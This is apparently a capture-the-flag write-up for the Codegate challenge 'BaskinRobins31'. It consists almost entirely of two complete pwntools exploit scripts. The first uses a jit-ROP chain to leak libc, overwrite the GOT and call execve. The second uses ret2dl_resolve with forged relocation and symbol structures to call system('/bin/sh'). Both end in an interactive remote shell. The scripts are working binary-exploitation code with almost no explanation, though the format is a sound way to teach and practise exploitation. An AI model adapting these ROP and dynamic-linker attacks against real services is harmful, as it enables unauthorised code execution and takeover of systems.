Rating:

Solved in two ways (jit-ROP and ret2dl_resolve )

### Using jit-ROP
```python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'info'
context.terminal = ['tmux', 'splitw', '-h']

RHOST = "ch41l3ng3s.codegate.kr"
RPORT = 3131
LHOST = "127.0.0.1"
LPORT = 4444
BINARY = 'BaskinRobins31'
elf = ELF(BINARY)

conn = None
if len(sys.argv) > 1:
if sys.argv[1] == 'r':
conn = remote(RHOST, RPORT)
elif sys.argv[1] == 'l':
conn = remote(LHOST, LPORT)
elif sys.argv[1] == 'a':
conn = remote(LHOST, LPORT)
f = open("cmd", "r")
time.sleep(0.5)
pid = proc.pid_by_name(BINARY)
gdb.attach(pid[0], f)
elif sys.argv[1] == 'd':
gdb_cmd = """
b * your_turn + 214
c
"""
conn = gdb.debug([BINARY], gdb_cmd)
else:
conn = process([BINARY])

#-----------START EXPLOIT CODE-----------#
deadbeef = 0xdeadbeefdeadbeef
bss_stack = elf.bss() + 0x400
bss_str = elf.bss() + 0x800
read_plt = elf.plt[b'read']
write_plt = elf.plt[b'write']
puts_plt = elf.plt[b'puts']
sleep_plt = elf.plt[b'sleep']

read_got = elf.got[b'read']
sleep_got = elf.got[b'sleep']
pop3 = 0x0040087a # 0x0040087a: pop rdi ; pop rsi ; pop rdx ; ret ;
leave_ret = 0x00400979 #: leave ; ret ;

leak_size = 0x100

# leak read_addr
payload = b'A' * (0xb0)
payload += p64(bss_stack)
payload += p64(pop3)
payload += p64(1)
payload += p64(read_got)
payload += p64(8)
payload += p64(write_plt)

# stack pivot
payload += p64(pop3)
payload += p64(0)
payload += p64(bss_stack)
payload += p64(0x200)
payload += p64(read_plt)
payload += p64(leave_ret)

conn.sendafter('take ? (1-3)', payload)
conn.recvuntil(b"Don't break the rules...:( \n")
read_addr = u64(conn.recv(8))

# leak read binary
payload2 = b'A' * 8
payload2 += p64(pop3)
payload2 += p64(1)
payload2 += p64(read_addr)
payload2 += p64(leak_size)
payload2 += p64(write_plt)

# got overwrite sleep -> syscall
payload2 += p64(pop3)
payload2 += p64(0)
payload2 += p64(sleep_got)
payload2 += p64(0x8)
payload2 += p64(read_plt)

# binsh & *binsh to bss
payload2 += p64(pop3)
payload2 += p64(0)
payload2 += p64(bss_str)
payload2 += p64(59) # systemcall num 59 == execve
payload2 += p64(read_plt)

# execve("/bin/sh", {"/bin/sh", NULL}, NULL)
payload2 += p64(pop3)
payload2 += p64(bss_str)
payload2 += p64(0)
payload2 += p64(0)
payload2 += p64(sleep_plt)
payload2 += b'A' * (0x200 - len(payload2))

conn.send(payload2)
read_binary = conn.recv()
syscall_addr = read_addr + read_binary.index(b'\x0f') # find syscall byte
conn.send(p64(syscall_addr))
binsh = b'/bin/sh\x00'
binsh += b'A' * (59 - len(binsh))
conn.send(binsh)
conn.interactive()
```

-----

### Using ret2dl_resolve

```python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'info'

RHOST = "ch41l3ng3s.codegate.kr"
RPORT = 3131
LHOST = "127.0.0.1"
LPORT = 4444
BINARY = 'BaskinRobins31'
elf = ELF(BINARY)

conn = None
if len(sys.argv) > 1:
if sys.argv[1] == 'r':
conn = remote(RHOST, RPORT)
elif sys.argv[1] == 'l':
conn = remote(LHOST, LPORT)
elif sys.argv[1] == 'a':
conn = remote(LHOST, LPORT)
f = open("cmd", "r")
time.sleep(0.5)
pid = proc.pid_by_name(BINARY)
gdb.attach(pid[0], f)
elif sys.argv[1] == 'd':
gdb_cmd = """
b * your_turn + 214
c
"""
conn = gdb.debug([BINARY], gdb_cmd)
else:
conn = process([BINARY])

#-----------START EXPLOIT CODE-----------#
deadbeef = 0xdeadbeefdeadbeef
bss_stack = elf.bss() + 0x800
read_plt = elf.plt[b'read']
write_plt = elf.plt[b'write']
puts_plt = elf.plt[b'puts']

read_got = elf.got[b'read']
pop3 = 0x0040087a # 0x0040087a: pop rdi ; pop rsi ; pop rdx ; ret ;
leave_ret = 0x00400979 #: leave ; ret ;

link_map_ptr = 0x602008
dl_resolve = 0x4006a0

dynsym = 0x4002c0
dynstr = 0x400440
rela_plt = 0x400558

# leak link_map addr
payload = b'A' * (0xb0)
payload += p64(bss_stack)
payload += p64(pop3)
payload += p64(1)
payload += p64(link_map_ptr)
payload += p64(8)
payload += p64(write_plt)

# inject fake stack
payload += p64(pop3)
payload += p64(0)
payload += p64(bss_stack)
payload += p64(0x200)
payload += p64(read_plt)
payload += p64(leave_ret)

conn.sendafter('take ? (1-3)', payload)
conn.recvuntil(b"Don't break the rules...:( \n")
link_map_addr = conn.recv(8)
link_map_addr = u64(link_map_addr)
dt_versymaddr = link_map_addr + 0x1c8

# make fake stack
payload2 = b"A" * 8
payload2 += p64(pop3)
payload2 += p64(0)
payload2 += p64(dt_versymaddr)
payload2 += p64(8)
payload2 += p64(read_plt)

# ret2dl_resolve
## system("/bin/sh")
reloc_addr = bss_stack + 48 * 2 # dl_resolve rop size = 8 * 6 * 2 = 96
reloc_align = 0x18 - ((reloc_addr - rela_plt) % 0x18)
reloc_addr += reloc_align # padding

sym_addr = reloc_addr + 0x18 # reloc struct size = 0x18
sym_align = 0x18 - ((sym_addr - dynsym) % 0x18)
sym_addr += sym_align # padding

symstr_addr = sym_addr + 0x18 # sym struct size = 0x18
cmd_addr = symstr_addr + 7 # system\x00 size = 7

reloc_offset = (reloc_addr - rela_plt) // 0x18
r_info = (((sym_addr - dynsym) // 0x18) << 32) | 0x07 # R_386_JMP_SLOT (=7) (0000000X|00000007)
st_name = (symstr_addr - dynstr)

payload2 += p64(pop3)
payload2 += p64(cmd_addr)
payload2 += p64(deadbeef)
payload2 += p64(deadbeef)
payload2 += p64(dl_resolve)
payload2 += p64(reloc_offset)

## fake rel
fake_rel = b"A" * reloc_align
fake_rel += p64(read_got)
fake_rel += p64(r_info)
fake_rel += p64(0)

## fake symtab
fake_symtab = b"A" * sym_align
fake_symtab += p32(st_name)
fake_symtab += p32(0x12)
fake_symtab += p64(0)
fake_symtab += p64(0)

# fake str
cmd = b"system\x00" + b"/bin/sh\x00"

payload2 += fake_rel + fake_symtab + cmd

# send fake structs
conn.sendline(payload2)
log.info("wait 5sec")
sleep(5)
conn.sendline(p64(0))
conn.interactive()

```